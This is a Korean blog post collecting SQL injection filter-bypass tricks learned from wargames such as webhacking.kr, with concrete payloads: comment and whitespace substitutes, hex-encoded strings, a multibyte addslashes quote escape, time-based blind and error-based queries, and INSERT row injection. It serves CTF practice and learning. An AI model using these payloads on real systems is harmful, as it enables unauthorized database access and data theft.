본문 바로가기

 

뭔가 사진이 있는척은 하고 싶으니깐 이걸로 할게요.

워게임 풀면서 알게된 각종 우회방법들을 그냥 주욱 써볼거에요.

 

1. OR / AND

|| &&

select * from table where id='admin' and pw='password'

select * from table where id='admin' && pw='password'

 

2. 주석

# --

-- 주석 뒤에는 꼭 공백문자가 하나 있어야됨.

공백문자와 #가 동시에 필터링될때 -- 를 넣어서 작동을 안한다면 --%09 를 넣어보자. (%09는 탭문자이다.)

07001lab.tistory.com/entry/webhackingkr-Challengeold-27-DB

참고.

 

3.

like in

select * from table where id='admin'

select * from table where id like 'admin'

select * from table where id in('admin')

 

4. substr

left('asdf',2)=0x6173

substr('asdf',2,1) 과 right(left('asdf',2),1) 의 결과는 s 로 같다.

07001lab.tistory.com/entry/webhackingkr-Challengeold-55-DB

참고.

 

5. ereg / eregi

앞에다가 %00 (널문자) 를 집어넣어서 우회가능.

admin -> %00admin

 

6. replace

replace("admin", "", $in) 식일때

aadmindmin 식으로 우회 가능.

07001lab.tistory.com/entry/webhackingkr-Challengeold-24-PHP

참고.

 

7. ' " 

'admin' -> 0b0110000101100100011011010110100101101110 or 0x61646d696e 

2진수 혹은 16진수로 변환.

 

8. 공백문자

/**/ %0a 괄호 사용

select * from table where id='admin';

select/**/*/**/from/**/table/**/where/**/id='admin'

 

9. addslashes() + mb_convert_encoding()

%bf%27꩜' 같은걸 집어넣어서 따옴표를 닫을수 있음.

07001lab.tistory.com/entry/webhackingkr-Challengeold-50-DB

참고.

 

10. 출력값이 없을때 

sleep(if((조건),5,0)) 식으로 조건에 맞으면 5초 지연되게 만들어서 BLIND SQL Injection 가능.

07001lab.tistory.com/entry/webhackingkr-Challengeold-57-DB

 

참고.

 

11. LIKE 사용시

_ 나 % 같은 와일드 카드 사용.

_ 는 그 위치의 문자 한개.

% 는 그 위치의 문자 한개 이상.

07001lab.tistory.com/entry/webhackingkr-Challengeold-56-DB

참고.

 

12. 주석 활용
select * from table where id='{$id}' and pw=md5('{$pw}')

같은 구문이 있을때

ID 에 '/* pw 에 */or id='admin'#

같은걸 집어넣어서

select * from table where id=''/*' and pw=md5('*/or id='admin'#') 

로 인식되게 만들수 있음

07001lab.tistory.com/entry/webhackingkr-Challengeold-50-DB

참고.

 

13.  결과가 여러 row 로 나올때 

limit 0,1

 

14. DB명, 테이블명, 컬럼명을 알아내야 하는데 imformation_schema 를 사용할수 없을때
procedure analyse()

와 limit 를 사용해서
{DB}.{table}.{column}

식으로 뽑아낼수있음.

07001lab.tistory.com/entry/webhackingkr-Challengeold-53-DB

참고.

 

14. ERROR Based 할때

0xfffffffffffff*0xfffffffffffff

exp(710)

(select 1 union select 2)

난 첫번째를 가장 많이씀.

첫번째껀 integer 범위초과 에러 뜨고

두번째껀 exp 함수에 710이상이 들어가면 에러가 뜬다고함 잘 안써봐서 모름

세번째껀 서브쿼리에 2개의 열을 리턴하게 만들어서 오류를 뿜어냄

 

15. information_schema 쓰는데 where 절 못쓸때

limit 가지고 이진탐색 돌려서 길이를 알아낸다음 뒤에서부터 하나씩 찾아보기

select table_name from information_schema.tables limit 0,1 # 길이가 0보다 크면 값이 나옴.

select table_name from information_schema.tables limit 100,1 # 길이가 100보다 크면 값이 나옴. -> 100보다 작으면 값이 안나오니 이진탐색 가능.

앞부분은 기본적으로 시스템에서 생성하는 테이블들임.

그러니 찾는 테이블은 뒤쪽에 있을 가능성이 매우 높음.

근데 예외도 있긴 하더라.

table_name column_name 둘다 같은방법으로 가능함.

 

16. SQLite + addslash()

저거 작동 안함.

' 앞에 자동으로 \ 달아주는데 \ 를 일반문자로 인식함.

 

17. insert into table values (1, 'id', 'pw')

insert inito table values (1, 'id', 'pw'),(2, 'admin', 'asdf')

'),(2, 'admin', 'asdf

같은거 집어넣으면 인젝션됨.

 

더 생각나는게 없어서 생각날때마다 글 갱신할게요.

'연구글 > ????' 카테고리의 다른 글

코드 이렇게 짜지 마세요 - 2  (0) 2021.07.16
코드 이렇게 짜지 마세요 - 1  (0) 2020.11.17
wargame.kr 19 / ip log table / (실패)  (0) 2020.11.05
dodam.b1nd.com / stored xss  (0) 2020.08.23
webhacking.kr 30 (old) / 실패  (0) 2020.08.22
댓글